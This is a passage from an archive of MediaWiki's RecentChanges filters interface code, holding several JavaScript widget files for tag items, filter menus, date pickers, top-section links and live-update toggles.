 * Respond to mouse enter event
 */
TagItemWidget.prototype.onMouseEnter = function () {
	var labelText = this.itemModel.getStateMessage();

	if ( labelText ) {
		this.popupLabel.setLabel( labelText );

		// Set timeout for the popup to show
		this.popupTimeoutShow = setTimeout( function () {
			this.popup.toggle( true );
		}.bind( this ), 500 );

		// Cancel the hide timeout
		clearTimeout( this.popupTimeoutHide );
		this.popupTimeoutHide = null;
	}
};

/**
 * Respond to mouse leave event
 */
TagItemWidget.prototype.onMouseLeave = function () {
	this.popupTimeoutHide = setTimeout( function () {
		this.popup.toggle( false );
	}.bind( this ), 250 );

	// Clear the show timeout
	clearTimeout( this.popupTimeoutShow );
	this.popupTimeoutShow = null;
};

/**
 * Set selected state on this widget
 *
 * @param {boolean} [isSelected] Widget is selected
 */
TagItemWidget.prototype.toggleSelected = function ( isSelected ) {
	isSelected = isSelected !== undefined ? isSelected : !this.selected;

	if ( this.selected !== isSelected ) {
		this.selected = isSelected;

		this.$element.toggleClass( 'mw-rcfilters-ui-tagItemWidget-selected', this.selected );
	}
};

/**
 * Get the selected state of this widget
 *
 * @return {boolean} Tag is selected
 */
TagItemWidget.prototype.isSelected = function () {
	return this.selected;
};

/**
 * Get item name
 *
 * @return {string} Filter name
 */
TagItemWidget.prototype.getName = function () {
	return this.itemModel.getName();
};

/**
 * Get item model
 *
 * @return {string} Filter model
 */
TagItemWidget.prototype.getModel = function () {
	return this.itemModel;
};

/**
 * Get item view
 *
 * @return {string} Filter view
 */
TagItemWidget.prototype.getView = function () {
	return this.itemModel.getGroupModel().getView();
};

/**
 * Remove and destroy external elements of this widget
 */
TagItemWidget.prototype.destroy = function () {
	// Destroy the popup
	this.popup.$element.detach();

	// Disconnect events
	this.itemModel.disconnect( this );
	this.closeButton.disconnect( this );
};

module.exports = TagItemWidget;
mediawiki.rcfilters/ui/CheckboxInputWidget.js000066600000003561151335045660015411 0ustar00/**
 * A widget representing a single toggle filter
 *
 * @class mw.rcfilters.ui.CheckboxInputWidget
 * @extends OO.ui.CheckboxInputWidget
 *
 * @constructor
 * @param {Object} config Configuration object
 */
var CheckboxInputWidget = function MwRcfiltersUiCheckboxInputWidget( config ) {
	config = config || {};

	// Parent
	CheckboxInputWidget.parent.call( this, config );

	// Event
	this.$input
		// HACK: This widget just pretends to be a checkbox for visual purposes.
		// In reality, all actions - setting to true or false, etc - are
		// decided by the model, and executed by the controller. This means
		// that we want to let the controller and model make the decision
		// of whether to check/uncheck this checkboxInputWidget, and for that,
		// we have to bypass the browser action that checks/unchecks it during
		// click.
		.on( 'click', false )
		.on( 'change', this.onUserChange.bind( this ) );
};

/* Initialization */

OO.inheritClass( CheckboxInputWidget, OO.ui.CheckboxInputWidget );

/* Events */

/**
 * @event userChange
 * @param {boolean} Current state of the checkbox
 *
 * The user has checked or unchecked this checkbox
 */

/* Methods */

/**
 * @inheritdoc
 */
CheckboxInputWidget.prototype.onEdit = function () {
	// Similarly to preventing defaults in 'click' event, we want
	// to prevent this widget from deciding anything about its own
	// state; it emits a change event and the model and controller
	// make a decision about what its select state is.
	// onEdit has a widget.$input.prop( 'checked' ) inside a setTimeout()
	// so we really want to prevent that from messing with what
	// the model decides the state of the widget is.
};

/**
 * Respond to checkbox change by a user and emit 'userChange'.
 */
CheckboxInputWidget.prototype.onUserChange = function () {
	this.emit( 'userChange', this.$input.prop( 'checked' ) );
};

module.exports = CheckboxInputWidget;
mediawiki.rcfilters/ui/MainWrapperWidget.js000066600000010662151335045660015070 0ustar00var SavedLinksListWidget = require( './SavedLinksListWidget.js' ),
	FilterWrapperWidget = require( './FilterWrapperWidget.js' ),
	ChangesListWrapperWidget = require( './ChangesListWrapperWidget.js' ),
	RcTopSectionWidget = require( './RcTopSectionWidget.js' ),
	RclTopSectionWidget = require( './RclTopSectionWidget.js' ),
	WatchlistTopSectionWidget = require( './WatchlistTopSectionWidget.js' ),
	FormWrapperWidget = require( './FormWrapperWidget.js' ),
	MainWrapperWidget;

/**
 * Wrapper for changes list content
 *
 * @class mw.rcfilters.ui.MainWrapperWidget
 * @extends OO.ui.Widget
 *
 * @constructor
 * @param {mw.rcfilters.Controller} controller Controller
 * @param {mw.rcfilters.dm.FiltersViewModel} model View model
 * @param {mw.rcfilters.dm.SavedQueriesModel} savedQueriesModel Saved queries model
 * @param {mw.rcfilters.dm.ChangesListViewModel} changesListModel
 * @param {Object} config Configuration object
 * @cfg {jQuery} $topSection Top section container
 * @cfg {jQuery} $filtersContainer
 * @cfg {jQuery} $changesListContainer
 * @cfg {jQuery} $formContainer
 * @cfg {boolean} [collapsed] Filter area is collapsed
 * @cfg {jQuery} [$wrapper] A jQuery object for the wrapper of the general
 *  system. If not given, falls back to this widget's $element
 */
MainWrapperWidget = function MwRcfiltersUiMainWrapperWidget(
	controller, model, savedQueriesModel, changesListModel, config
) {
	config = $.extend( {}, config );

	// Parent
	MainWrapperWidget.parent.call( this, config );

	this.controller = controller;
	this.model = model;
	this.changesListModel = changesListModel;
	this.$topSection = config.$topSection;
	this.$filtersContainer = config.$filtersContainer;
	this.$changesListContainer = config.$changesListContainer;
	this.$formContainer = config.$formContainer;
	this.$overlay = $( '<div>' ).addClass( 'mw-rcfilters-ui-overlay oo-ui-defaultOverlay' );
	this.$wrapper = config.$wrapper || this.$element;

	this.savedLinksListWidget = new SavedLinksListWidget(
		controller, savedQueriesModel, { $overlay: this.$overlay }
	);

	this.filtersWidget = new FilterWrapperWidget(
		controller,
		model,
		savedQueriesModel,
		changesListModel,
		{
			$overlay: this.$overlay,
			$wrapper: this.$wrapper,
			collapsed: config.collapsed
		}
	);

	this.changesListWidget = new ChangesListWrapperWidget(
		model, changesListModel, controller, this.$changesListContainer );

	/* Events */

	// Toggle changes list overlay when filters menu opens/closes. We use overlay on changes list
	// to prevent users from accidentally clicking on links in results, while menu is opened.
	// Overlay on changes list is not the same as this.$overlay
	this.filtersWidget.connect( this, { menuToggle: this.onFilterMenuToggle.bind( this ) } );

	// Initialize
	this.$filtersContainer.append( this.filtersWidget.$element );
	$( document.body )
		.append( this.$overlay )
		.addClass( 'mw-rcfilters-ui-initialized' );
};

/* Initialization */

OO.inheritClass( MainWrapperWidget, OO.ui.Widget );

/* Methods */

/**
 * Set the content of the top section, depending on the type of special page.
 *
 * @param {string} specialPage
 */
MainWrapperWidget.prototype.setTopSection = function ( specialPage ) {
	var topSection;

	if ( specialPage === 'Recentchanges' ) {
		topSection = new RcTopSectionWidget(
			this.savedLinksListWidget, this.$topSection
		);
		this.filtersWidget.setTopSection( topSection.$element );
	}

	if ( specialPage === 'Recentchangeslinked' ) {
		topSection = new RclTopSectionWidget(
			this.savedLinksListWidget, this.controller,
			this.model.getGroup( 'toOrFrom' ).getItemByParamName( 'showlinkedto' ),
			this.model.getGroup( 'page' ).getItemByParamName( 'target' )
		);

		this.filtersWidget.setTopSection( topSection.$element );
	}

	if ( specialPage === 'Watchlist' ) {
		topSection = new WatchlistTopSectionWidget(
			this.controller, this.changesListModel, this.savedLinksListWidget, this.$topSection
		);

		this.filtersWidget.setTopSection( topSection.$element );
	}
};

/**
 * Filter menu toggle event listener
 *
 * @param {boolean} isVisible
 */
MainWrapperWidget.prototype.onFilterMenuToggle = function ( isVisible ) {
	this.changesListWidget.toggleOverlay( isVisible );
};

/**
 * Initialize FormWrapperWidget
 *
 * @return {mw.rcfilters.ui.FormWrapperWidget} Form wrapper widget
 */
MainWrapperWidget.prototype.initFormWidget = function () {
	return new FormWrapperWidget(
		this.model, this.changesListModel, this.controller, this.$formContainer );
};

module.exports = MainWrapperWidget;
mediawiki.rcfilters/ui/MenuSelectWidget.js000066600000025066151335045660014713 0ustar00var FilterMenuHeaderWidget = require( './FilterMenuHeaderWidget.js' ),
	HighlightPopupWidget = require( './HighlightPopupWidget.js' ),
	FilterMenuSectionOptionWidget = require( './FilterMenuSectionOptionWidget.js' ),
	FilterMenuOptionWidget = require( './FilterMenuOptionWidget.js' ),
	MenuSelectWidget;

/**
 * A floating menu widget for the filter list
 *
 * @class mw.rcfilters.ui.MenuSelectWidget
 * @extends OO.ui.MenuSelectWidget
 *
 * @constructor
 * @param {mw.rcfilters.Controller} controller Controller
 * @param {mw.rcfilters.dm.FiltersViewModel} model View model
 * @param {Object} [config] Configuration object
 * @cfg {boolean} [isMobile] a boolean flag determining whether the menu
 * should display a header or not (the header is omitted on mobile).
 * @cfg {jQuery} [$overlay] A jQuery object serving as overlay for popups
 * @cfg {Object[]} [footers] An array of objects defining the footers for
 *  this menu, with a definition whether they appear per specific views.
 *  The expected structure is:
 *  [
 *     {
 *        name: {string} A unique name for the footer object
 *        $element: {jQuery} A jQuery object for the content of the footer
 *        views: {string[]} Optional. An array stating which views this footer is
 *               active on. Use null or omit to display this on all views.
 *     }
 *  ]
 */
MenuSelectWidget = function MwRcfiltersUiMenuSelectWidget( controller, model, config ) {
	var header;

	config = config || {};

	this.controller = controller;
	this.model = model;
	this.currentView = '';
	this.views = {};
	this.userSelecting = false;

	this.menuInitialized = false;
	this.$overlay = config.$overlay || this.$element;
	this.$body = $( '<div>' ).addClass( 'mw-rcfilters-ui-menuSelectWidget-body' );
	this.footers = [];

	// Parent
	MenuSelectWidget.parent.call( this, $.extend( config, {
		$autoCloseIgnore: this.$overlay,
		width: config.isMobile ? undefined : 650,
		// Our filtering is done through the model
		filterFromInput: false
	} ) );
	this.setGroupElement(
		$( '<div>' )
			.addClass( 'mw-rcfilters-ui-menuSelectWidget-group' )
	);

	if ( !config.isMobile ) {
		// When hiding the header (i.e. mobile mode) avoid problems
		// with clippable and the menu's fixed width.
		this.setClippableElement( this.$body );
		this.setClippableContainer( this.$element );

		header = new FilterMenuHeaderWidget(
			this.controller,
			this.model,
			{
				$overlay: this.$overlay
			}
		);
	}

	this.noResults = new OO.ui.LabelWidget( {
		label: mw.msg( 'rcfilters-filterlist-noresults' ),
		classes: [ 'mw-rcfilters-ui-menuSelectWidget-noresults' ]
	} );

	// Events
	this.model.connect( this, {
		initialize: 'onModelInitialize',
		searchChange: 'onModelSearchChange'
	} );

	// Initialization
	this.$element
		.addClass( 'mw-rcfilters-ui-menuSelectWidget' )
		.attr( 'aria-label', mw.msg( 'rcfilters-filterlist-title' ) )
		.append( config.isMobile ? undefined : header.$element )
		.append(
			this.$body
				.append( this.$group, this.noResults.$element )
		);

	// Append all footers; we will control their visibility
	// based on view
	config.footers = config.isMobile ? [] : config.footers || [];
	config.footers.forEach( function ( footerData ) {
		var isSticky = footerData.sticky === undefined ? true : !!footerData.sticky,
			adjustedData = {
				// Wrap the element with our own footer wrapper
				// The following classes are used here:
				// * mw-rcfilters-ui-menuSelectWidget-footer-viewSelect
				// * and no others (currently)
				$element: $( '<div>' )
					.addClass( 'mw-rcfilters-ui-menuSelectWidget-footer' )
					.addClass( 'mw-rcfilters-ui-menuSelectWidget-footer-' + footerData.name )
					.append( footerData.$element ),
				views: footerData.views
			};

		if ( !footerData.disabled ) {
			this.footers.push( adjustedData );

			if ( isSticky ) {
				this.$element.append( adjustedData.$element );
			} else {
				this.$body.append( adjustedData.$element );
			}
		}
	}.bind( this ) );

	// Switch to the correct view
	this.updateView();
};

/* Initialize */

OO.inheritClass( MenuSelectWidget, OO.ui.MenuSelectWidget );

/* Events */

/* Methods */
MenuSelectWidget.prototype.onModelSearchChange = function () {
	this.updateView();
};

/**
 * @inheritdoc
 */
MenuSelectWidget.prototype.toggle = function ( show ) {
	this.lazyMenuCreation();
	MenuSelectWidget.parent.prototype.toggle.call( this, show );
	// Always open this menu downwards. FilterTagMultiselectWidget scrolls it into view.
	this.setVerticalPosition( 'below' );
};

/**
 * lazy creation of the menu
 */
MenuSelectWidget.prototype.lazyMenuCreation = function () {
	var widget = this,
		items = [],
		viewGroupCount = {},
		groups = this.model.getFilterGroups();

	if ( this.menuInitialized ) {
		return;
	}

	this.menuInitialized = true;

	// Create shared popup for highlight buttons
	this.highlightPopup = new HighlightPopupWidget( this.controller );
	this.$overlay.append( this.highlightPopup.$element );

	// Count groups per view
	// eslint-disable-next-line no-jquery/no-each-util
	$.each( groups, function ( groupName, groupModel ) {
		if ( !groupModel.isHidden() ) {
			viewGroupCount[ groupModel.getView() ] = viewGroupCount[ groupModel.getView() ] || 0;
			viewGroupCount[ groupModel.getView() ]++;
		}
	} );

	// eslint-disable-next-line no-jquery/no-each-util
	$.each( groups, function ( groupName, groupModel ) {
		var currentItems = [],
			view = groupModel.getView();

		if ( !groupModel.isHidden() ) {
			if ( viewGroupCount[ view ] > 1 ) {
				// Only add a section header if there is more than
				// one group
				currentItems.push(
					// Group section
					new FilterMenuSectionOptionWidget(
						widget.controller,
						groupModel,
						{
							$overlay: widget.$overlay
						}
					)
				);
			}

			// Add items
			widget.model.getGroupFilters( groupName ).forEach( function ( filterItem ) {
				currentItems.push(
					new FilterMenuOptionWidget(
						widget.controller,
						widget.model,
						widget.model.getInvertModel( view ),
						filterItem,
						widget.highlightPopup,
						{
							$overlay: widget.$overlay
						}
					)
				);
			} );

			// Cache the items per view, so we can switch between them
			// without rebuilding the widgets each time
			widget.views[ view ] = widget.views[ view ] || [];
			widget.views[ view ] = widget.views[ view ].concat( currentItems );
			items = items.concat( currentItems );
		}
	} );

	this.addItems( items );
	this.updateView();
};

/**
 * Respond to model initialize event. Populate the menu from the model
 */
MenuSelectWidget.prototype.onModelInitialize = function () {
	this.menuInitialized = false;
	// Set timeout for the menu to lazy build.
	setTimeout( this.lazyMenuCreation.bind( this ) );
};

/**
 * Update view
 */
MenuSelectWidget.prototype.updateView = function () {
	var viewName = this.model.getCurrentView();

	if ( this.views[ viewName ] && this.currentView !== viewName ) {
		this.updateFooterVisibility( viewName );

		// The following classes are used here:
		// * mw-rcfilters-ui-menuSelectWidget-view-default
		// * mw-rcfilters-ui-menuSelectWidget-view-namespaces
		// * mw-rcfilters-ui-menuSelectWidget-view-tags
		this.$element
			.data( 'view', viewName )
			.removeClass( 'mw-rcfilters-ui-menuSelectWidget-view-' + this.currentView )
			.addClass( 'mw-rcfilters-ui-menuSelectWidget-view-' + viewName );

		this.currentView = viewName;
		this.scrollToTop();
	}

	this.postProcessItems();
	this.clip();
};

/**
 * Go over the available footers and decide which should be visible
 * for this view
 *
 * @param {string} [currentView] Current view
 */
MenuSelectWidget.prototype.updateFooterVisibility = function ( currentView ) {
	currentView = currentView || this.model.getCurrentView();

	this.footers.forEach( function ( data ) {
		data.$element.toggle(
			// This footer should only be shown if it is configured
			// for all views or for this specific view
			!data.views || data.views.length === 0 || data.views.indexOf( currentView ) > -1
		);
	} );
};

/**
 * Post-process items after the visibility changed. Make sure
 * that we always have an item selected, and that the no-results
 * widget appears if the menu is empty.
 */
MenuSelectWidget.prototype.postProcessItems = function () {
	var i,
		itemWasSelected = false,
		items = this.getItems();

	// If we are not already selecting an item, always make sure
	// that the top item is selected
	if ( !this.userSelecting ) {
		// Select the first item in the list
		for ( i = 0; i < items.length; i++ ) {
			if (
				!( items[ i ] instanceof OO.ui.MenuSectionOptionWidget ) &&
				items[ i ].isVisible()
			) {
				itemWasSelected = true;
				this.selectItem( items[ i ] );
				break;
			}
		}

		if ( !itemWasSelected ) {
			this.selectItem( null );
		}
	}

	this.noResults.toggle( !this.getItems().some( function ( item ) {
		return item.isVisible();
	} ) );
};

/**
 * Get the option widget that matches the model given
 *
 * @param {mw.rcfilters.dm.ItemModel} model Item model
 * @return {mw.rcfilters.ui.ItemMenuOptionWidget} Option widget
 */
MenuSelectWidget.prototype.getItemFromModel = function ( model ) {
	this.lazyMenuCreation();
	return this.views[ model.getGroupModel().getView() ].filter( function ( item ) {
		return item.getName() === model.getName();
	} )[ 0 ];
};

/**
 * @inheritdoc
 */
MenuSelectWidget.prototype.onDocumentKeyDown = function ( e ) {
	var nextItem,
		currentItem = this.findHighlightedItem() || this.findSelectedItem();

	// Call parent
	MenuSelectWidget.parent.prototype.onDocumentKeyDown.call( this, e );

	// We want to select the item on arrow movement
	// rather than just highlight it, like the menu
	// does by default
	if ( !this.isDisabled() && this.isVisible() ) {
		switch ( e.keyCode ) {
			case OO.ui.Keys.UP:
			case OO.ui.Keys.LEFT:
				// Get the next item
				nextItem = this.findRelativeSelectableItem( currentItem, -1 );
				break;
			case OO.ui.Keys.DOWN:
			case OO.ui.Keys.RIGHT:
				// Get the next item
				nextItem = this.findRelativeSelectableItem( currentItem, 1 );
				break;
		}

		nextItem = nextItem && nextItem.constructor.static.selectable ?
			nextItem : null;

		// Select the next item
		this.selectItem( nextItem );
	}
};

/**
 * Scroll to the top of the menu
 */
MenuSelectWidget.prototype.scrollToTop = function () {
	this.$body.scrollTop( 0 );
};

/**
 * Set whether the user is currently selecting an item.
 * This is important when the user selects an item that is in between
 * different views, and makes sure we do not re-select a different
 * item (like the item on top) when this is happening.
 *
 * @param {boolean} isSelecting User is selecting
 */
MenuSelectWidget.prototype.setUserSelecting = function ( isSelecting ) {
	this.userSelecting = !!isSelecting;
};

module.exports = MenuSelectWidget;
mediawiki.rcfilters/ui/DatePopupWidget.js000066600000003721151335045660014542 0ustar00var ValuePickerWidget = require( './ValuePickerWidget.js' ),
	DatePopupWidget;

/**
 * Widget defining the popup to choose date for the results
 *
 * @class mw.rcfilters.ui.DatePopupWidget
 * @extends OO.ui.Widget
 *
 * @constructor
 * @param {mw.rcfilters.dm.FilterGroup} model Group model for 'days'
 * @param {Object} [config] Configuration object
 */
DatePopupWidget = function MwRcfiltersUiDatePopupWidget( model, config ) {
	config = config || {};

	// Parent
	DatePopupWidget.parent.call( this, config );
	// Mixin constructors
	OO.ui.mixin.LabelElement.call( this, config );

	this.model = model;

	this.hoursValuePicker = new ValuePickerWidget(
		this.model,
		{
			classes: [ 'mw-rcfilters-ui-datePopupWidget-hours' ],
			label: mw.msg( 'rcfilters-hours-title' ),
			itemFilter: function ( itemModel ) { return Number( itemModel.getParamName() ) < 1; }
		}
	);
	this.hoursValuePicker.selectWidget.$element.attr( 'aria-label', mw.msg( 'rcfilters-hours-title' ) );

	this.daysValuePicker = new ValuePickerWidget(
		this.model,
		{
			classes: [ 'mw-rcfilters-ui-datePopupWidget-days' ],
			label: mw.msg( 'rcfilters-days-title' ),
			itemFilter: function ( itemModel ) { return Number( itemModel.getParamName() ) >= 1; }
		}
	);
	this.daysValuePicker.selectWidget.$element.attr( 'aria-label', mw.msg( 'rcfilters-days-title' ) );

	// Events
	this.hoursValuePicker.connect( this, { choose: [ 'emit', 'days' ] } );
	this.daysValuePicker.connect( this, { choose: [ 'emit', 'days' ] } );

	// Initialize
	this.$element
		.addClass( 'mw-rcfilters-ui-datePopupWidget' )
		.append(
			this.$label
				.addClass( 'mw-rcfilters-ui-datePopupWidget-title' ),
			this.hoursValuePicker.$element,
			this.daysValuePicker.$element
		);
};

/* Initialization */

OO.inheritClass( DatePopupWidget, OO.ui.Widget );
OO.mixinClass( DatePopupWidget, OO.ui.mixin.LabelElement );

/* Events */

/**
 * @event days
 * @param {string} name Item name
 *
 * A days item was chosen
 */

module.exports = DatePopupWidget;
mediawiki.rcfilters/ui/RcTopSectionWidget.js000066600000006676151335045660015231 0ustar00/**
 * Top section (between page title and filters) on Special:Recentchanges
 *
 * @class mw.rcfilters.ui.RcTopSectionWidget
 * @extends OO.ui.Widget
 *
 * @constructor
 * @param {mw.rcfilters.ui.SavedLinksListWidget} savedLinksListWidget
 * @param {jQuery} $topLinks Content of the community-defined links
 * @param {Object} [config] Configuration object
 */
var RcTopSectionWidget = function MwRcfiltersUiRcTopSectionWidget(
	savedLinksListWidget, $topLinks, config
) {
	var toplinksTitle,
		topLinksCookieName = 'rcfilters-toplinks-collapsed-state',
		topLinksCookie = mw.cookie.get( topLinksCookieName ),
		topLinksCookieValue = topLinksCookie || 'collapsed',
		widget = this;

	config = config || {};

	// Parent
	RcTopSectionWidget.parent.call( this, config );

	this.$topLinks = $topLinks;

	toplinksTitle = new OO.ui.ButtonWidget( {
		framed: false,
		indicator: topLinksCookieValue === 'collapsed' ? 'down' : 'up',
		flags: [ 'progressive' ],
		label: $( '<span>' ).append( mw.message( 'rcfilters-other-review-tools' ).parse() ).contents()
	} );

	this.$topLinks
		.makeCollapsible( {
			collapsed: topLinksCookieValue === 'collapsed',
			$customTogglers: toplinksTitle.$element
		} )
		.on( 'beforeExpand.mw-collapsible', function () {
			mw.cookie.set( topLinksCookieName, 'expanded' );
			toplinksTitle.setIndicator( 'up' );
			widget.switchTopLinks( 'expanded' );
		} )
		.on( 'beforeCollapse.mw-collapsible', function () {
			mw.cookie.set( topLinksCookieName, 'collapsed' );
			toplinksTitle.setIndicator( 'down' );
			widget.switchTopLinks( 'collapsed' );
		} );

	this.$topLinks.find( '.mw-recentchanges-toplinks-title' )
		.replaceWith( toplinksTitle.$element.removeAttr( 'tabIndex' ) );

	// Create two positions for the toplinks to toggle between
	// in the table (first cell) or up above it
	this.$top = $( '<div>' )
		.addClass( 'mw-rcfilters-ui-rcTopSectionWidget-topLinks-top' );
	this.$tableTopLinks = $( '<div>' )
		.addClass( 'mw-rcfilters-ui-cell' )
		.addClass( 'mw-rcfilters-ui-rcTopSectionWidget-topLinks-table' );

	// Initialize
	this.$element
		.addClass( 'mw-rcfilters-ui-rcTopSectionWidget' )
		.append(
			$( '<div>' )
				.addClass( 'mw-rcfilters-ui-table' )
				.append(
					$( '<div>' )
						.addClass( 'mw-rcfilters-ui-row' )
						.append(
							this.$tableTopLinks,
							$( '<div>' )
								.addClass( 'mw-rcfilters-ui-table-placeholder' )
								.addClass( 'mw-rcfilters-ui-cell' ),
							!mw.user.isAnon() ?
								$( '<div>' )
									.addClass( 'mw-rcfilters-ui-cell' )
									.addClass( 'mw-rcfilters-ui-rcTopSectionWidget-savedLinks' )
									.append( savedLinksListWidget.$element ) :
								null
						)
				)
		);

	// Hack: For jumpiness reasons, this should be a sibling of -head
	$( '.mw-rcfilters-head' ).before( this.$top );

	// Initialize top links position
	widget.switchTopLinks( topLinksCookieValue );
};

/* Initialization */

OO.inheritClass( RcTopSectionWidget, OO.ui.Widget );

/**
 * Switch the top links widget from inside the table (when collapsed)
 * to the 'top' (when open)
 *
 * @param {string} [state] The state of the top links widget: 'expanded' or 'collapsed'
 */
RcTopSectionWidget.prototype.switchTopLinks = function ( state ) {
	state = state || 'expanded';

	if ( state === 'expanded' ) {
		this.$top.append( this.$topLinks );
	} else {
		this.$tableTopLinks.append( this.$topLinks );
	}
	this.$topLinks.toggleClass( 'mw-recentchanges-toplinks-collapsed', state === 'collapsed' );
};

module.exports = RcTopSectionWidget;
mediawiki.rcfilters/ui/ValuePickerWidget.js000066600000005506151335045660015056 0ustar00/**
 * Widget defining the behavior used to choose from a set of values
 * in a single_value group
 *
 * @class mw.rcfilters.ui.ValuePickerWidget
 * @extends OO.ui.Widget
 * @mixins OO.ui.mixin.LabelElement
 *
 * @constructor
 * @param {mw.rcfilters.dm.FilterGroup} model Group model
 * @param {Object} [config] Configuration object
 * @cfg {Function} [itemFilter] A filter function for the items from the
 *  model. If not given, all items will be included. The function must
 *  handle item models and return a boolean whether the item is included
 *  or not. Example: function ( itemModel ) { return itemModel.isSelected(); }
 */
var ValuePickerWidget = function MwRcfiltersUiValuePickerWidget( model, config ) {
	config = config || {};

	// Parent
	ValuePickerWidget.parent.call( this, config );
	// Mixin constructors
	OO.ui.mixin.LabelElement.call( this, config );

	this.model = model;
	this.itemFilter = config.itemFilter || function () {
		return true;
	};

	// Build the selection from the item models
	this.selectWidget = new OO.ui.ButtonSelectWidget();
	this.initializeSelectWidget();

	// Events
	this.model.connect( this, { update: 'onModelUpdate' } );
	this.selectWidget.connect( this, { choose: 'onSelectWidgetChoose' } );

	// Initialize
	this.$element
		.addClass( 'mw-rcfilters-ui-valuePickerWidget' )
		.append(
			this.$label
				.addClass( 'mw-rcfilters-ui-valuePickerWidget-title' ),
			this.selectWidget.$element
		);
};

/* Initialization */

OO.inheritClass( ValuePickerWidget, OO.ui.Widget );
OO.mixinClass( ValuePickerWidget, OO.ui.mixin.LabelElement );

/* Events */

/**
 * @event choose
 * @param {string} name Item name
 *
 * An item has been chosen
 */

/* Methods */

/**
 * Respond to model update event
 */
ValuePickerWidget.prototype.onModelUpdate = function () {
	this.selectCurrentModelItem();
};

/**
 * Respond to select widget choose event
 *
 * @param {OO.ui.ButtonOptionWidget} chosenItem Chosen item
 * @fires choose
 */
ValuePickerWidget.prototype.onSelectWidgetChoose = function ( chosenItem ) {
	this.emit( 'choose', chosenItem.getData() );
};

/**
 * Initialize the select widget
 */
ValuePickerWidget.prototype.initializeSelectWidget = function () {
	var items = this.model.getItems()
		.filter( this.itemFilter )
		.map( function ( filterItem ) {
			return new OO.ui.ButtonOptionWidget( {
				data: filterItem.getName(),
				label: filterItem.getLabel()
			} );
		} );

	this.selectWidget.clearItems();
	this.selectWidget.addItems( items );

	this.selectCurrentModelItem();
};

/**
 * Select the current item that corresponds with the model item
 * that is currently selected
 */
ValuePickerWidget.prototype.selectCurrentModelItem = function () {
	var selectedItem = this.model.findSelectedItems()[ 0 ];

	if ( selectedItem ) {
		this.selectWidget.selectItemByData( selectedItem.getName() );
	}
};

module.exports = ValuePickerWidget;
mediawiki.rcfilters/ui/LiveUpdateButtonWidget.js000066600000003451151335045660016077 0ustar00/**
 * Widget for toggling live updates
 *
 * @class mw.rcfilters.ui.LiveUpdateButtonWidget
 * @extends OO.ui.ToggleButtonWidget
 *
 * @constructor
 * @param {mw.rcfilters.Controller} controller
 * @param {mw.rcfilters.dm.ChangesListViewModel} changesListModel
 * @param {Object} [config] Configuration object
 */
var LiveUpdateButtonWidget = function MwRcfiltersUiLiveUpdateButtonWidget( controller, changesListModel, config ) {
	config = config || {};

	// Parent
	LiveUpdateButtonWidget.parent.call( this, $.extend( {
		label: mw.msg( 'rcfilters-liveupdates-button' )
	}, config ) );

	this.controller = controller;
	this.model = changesListModel;

	// Events
	this.connect( this, { click: 'onClick' } );
	this.model.connect( this, { liveUpdateChange: 'onLiveUpdateChange' } );

	this.$element.addClass( 'mw-rcfilters-ui-liveUpdateButtonWidget' );

	this.setState( false );
};

/* Initialization */

OO.inheritClass( LiveUpdateButtonWidget, OO.ui.ToggleButtonWidget );

/* Methods */

/**
 * Respond to the button being clicked
 */
LiveUpdateButtonWidget.prototype.onClick = function () {
	this.controller.toggleLiveUpdate();
};

/**
 * Set the button's state and change its appearance
 *
 * @param {boolean} enable Whether the 'live update' feature is now on/off
 */
LiveUpdateButtonWidget.prototype.setState = function ( enable ) {
	this.setValue( enable );
	this.setIcon( enable ? 'stop' : 'play' );
	this.setTitle( mw.msg(
		enable ?
			'rcfilters-liveupdates-button-title-on' :
			'rcfilters-liveupdates-button-title-off'
	) );
};

/**
 * Respond to the 'live update' feature being turned on/off
 *
 * @param {boolean} enable Whether the 'live update' feature is now on/off
 */
LiveUpdateButtonWidget.prototype.onLiveUpdateChange = function ( enable ) {
	this.setState( enable );
};

module.exports = LiveUpdateButtonWidget;
mediawiki.rcfilters/ui/RclTargetPageWidget.js000066600000003721151335045660015325 0ustar00/**
 * Widget to select and display target page on Special:RecentChangesLinked (AKA Related Changes)
 *
 * @class mw.rcfilters.ui.RclTargetPageWidget
 * @extends OO.ui.Widget
 *
 * @constructor
 * @param {mw.rcfilters.Controller} controller
 * @param {mw.rcfilters.dm.FilterItem} targetPageModel
 * @param {Object} [config] Configuration object
 */
var RclTargetPageWidget = function MwRcfiltersUiRclTargetPageWidget(
	controller, targetPageModel, config
) {
	config = config || {};

	// Parent
	RclTargetPageWidget.parent.call( this, config );

	this.controller = controller;
	this.model = targetPageModel;

	this.titleSearch = new mw.widgets.TitleInputWidget( {
		validate: false,
		placeholder: mw.msg( 'rcfilters-target-page-placeholder' ),
		showImages: true,
		showDescriptions: true,
		addQueryInput: false
	} );

	// Events
	this.model.connect( this, { update: 'updateUiBasedOnModel' } );

	this.titleSearch.$input.on( {
		blur: this.onLookupInputBlur.bind( this )
	} );

	this.titleSearch.lookupMenu.connect( this, {
		choose: 'onLookupMenuChoose'
	} );

	// Initialize
	this.$element
		.addClass( 'mw-rcfilters-ui-rclTargetPageWidget' )
		.append( this.titleSearch.$element );

	this.updateUiBasedOnModel();
};

/* Initialization */

OO.inheritClass( RclTargetPageWidget, OO.ui.Widget );

/* Methods */

/**
 * Respond to the user choosing a title
 */
RclTargetPageWidget.prototype.onLookupMenuChoose = function () {
	this.titleSearch.$input.trigger( 'blur' );
};

/**
 * Respond to titleSearch $input blur
 */
RclTargetPageWidget.prototype.onLookupInputBlur = function () {
	this.controller.setTargetPage( this.titleSearch.getQueryValue() );
};

/**
 * Respond to the model being updated
 */
RclTargetPageWidget.prototype.updateUiBasedOnModel = function () {
	var title = mw.Title.newFromText( this.model.getValue() ),
		text = title ? title.toText() : this.model.getValue();
	this.titleSearch.setValue( text );
	this.titleSearch.setTitle( text );
};

module.exports = RclTargetPageWidget;
mediawiki.rcfilters/ui/HighlightColorPickerWidget.js000066600000007247151335045660016714 0ustar00/**
 * A widget representing a filter item highlight color picker
 *
 * @class mw.rcfilters.ui.HighlightColorPickerWidget
 * @extends OO.ui.Widget
 * @mixins OO.ui.mixin.LabelElement
 *
 * @constructor
 * @param {mw.rcfilters.Controller} controller RCFilters controller
 * @param {Object} [config] Configuration object
 */
var HighlightColorPickerWidget = function MwRcfiltersUiHighlightColorPickerWidget( controller, config ) {
	var colors = [ 'none' ].concat( mw.rcfilters.HighlightColors );
	config = config || {};

	// Parent
	HighlightColorPickerWidget.parent.call( this, config );
	// Mixin constructors
	OO.ui.mixin.LabelElement.call( this, $.extend( {}, config, {
		label: mw.msg( 'rcfilters-highlightmenu-title' )
	} ) );

	this.controller = controller;

	this.currentSelection = 'none';
	this.buttonSelect = new OO.ui.ButtonSelectWidget( {
